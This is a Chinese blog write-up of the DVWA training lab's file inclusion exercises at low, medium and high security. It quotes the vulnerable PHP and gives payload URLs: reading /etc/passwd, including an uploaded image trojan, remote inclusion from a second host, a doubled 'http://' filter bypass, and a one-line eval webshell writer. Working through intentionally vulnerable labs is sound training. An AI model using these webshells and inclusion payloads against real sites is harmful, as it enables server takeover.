DVWA之文件包含漏洞全级

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/Lonelyhat/article/details/90812545

文件包含分为两种:

本地文件包含/远程文件包含

LOW:

先分析两点:

网址和提示

网址给出的?page=xxxx,的意思是将访问页面的路径传给page

显而易见,我们现在访问的是include.php,那么page就是一个变量

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=include.php

代码审计:

直接使用get方式传参,没有任何的门槛


File Inclusion Source
<?php

    $file = $_GET['page']; //The page we wish to display 

?>


本地文件包含/远程文件包含

本地文件包含:

我们直接将/etc/passwd传给page变量

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=/etc/passwd

也就是说,只要我们有权限可以看到的文件,我们都可以实现

我们先通过文件上传漏洞,传给他一个php.jpg的图片木马,然后在使用文件包含解析他

一句话木马:

当我们执行这句木马的时候,他就会创建一个shell20.php的文件,里面就是一句话木马

<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[123]);?>')?>

我们成功上传了木马图片,现在复制路径到本地包含文件漏洞里执行它

就是把路径放到page变量里

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/0.jpg

解析成功

现在我们可以使用菜刀链接:

远程文件包含:

远程文件包含相对于本地文件包含比较简单,不需要上传后再执行

我们只需要在本地搭建一个服务器也可以是共享

共享什么?当然是图片木马文件或是一个txt文件

我们这里使用phpstudy,在www文件夹下创建一个1.txt的木马文件,利用网站的远程文件包含漏洞来触发

1.txt文件中的木马:我们这里改为shell21.php防止与刚刚的shell20.php混淆

<?fputs(fopen("shell21.php","w"),'<?php eval($_POST[123]);?>')?>

我们复制一下路径

http://192.168.5.5/1.txt

放到dvwa的文件包含漏洞中执行

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=http://192.168.5.5/1.txt

显示的是空白页,没有报错

使用菜刀,尝试连接shell21.php

成功

MEDIUM:

首先是,代码审计:

这里利用str_replace函数,他的意思是替换,将https://和http://替换成空

也就是说让我们的远程文件包含漏洞失效


File Inclusion Source
<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?>


本地包含文件依旧可以用,没有影响

尝试使用远程文件包含漏洞

远程文件包含漏洞:

现在已知替换为空,我们进行普通尝试

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=http://192.168.5.5/1.txt

空白页

我们开始尝试使用菜刀链接

无响应,我们直接去网站目录里面去看看吧

在fi路径下面,并没有什么shell21.php

也就是说,我们的远程文件包含被php脚本阻止了

怎么破解?加混淆

我们使用混淆,php代码只是将一个http://替换为空,那我们使用两个http://变为混淆

替换一个我们还有一个

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.5.5/1.txt

网站目录里面存在了shell21.php

使用菜刀链接:

成功

HIGH:

代码分析:

这里是指定网页,如果我们给$file的值不是include.php就报错

File Inclusion Source
<?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?> 

添加一个案例:

代码审计:

可以使用file:///本地路径

File Inclusion Source
<?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( !(fnmatch( "file*", $file)) && $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?> 

例如:

使用file:///来访问本地的木马

http://192.168.5.4/dvwa/vulnerabilities/fi/?page=file:///D:/phpstuy/www/1.txt

猜你喜欢

转载自blog.csdn.net/Lonelyhat/article/details/90812545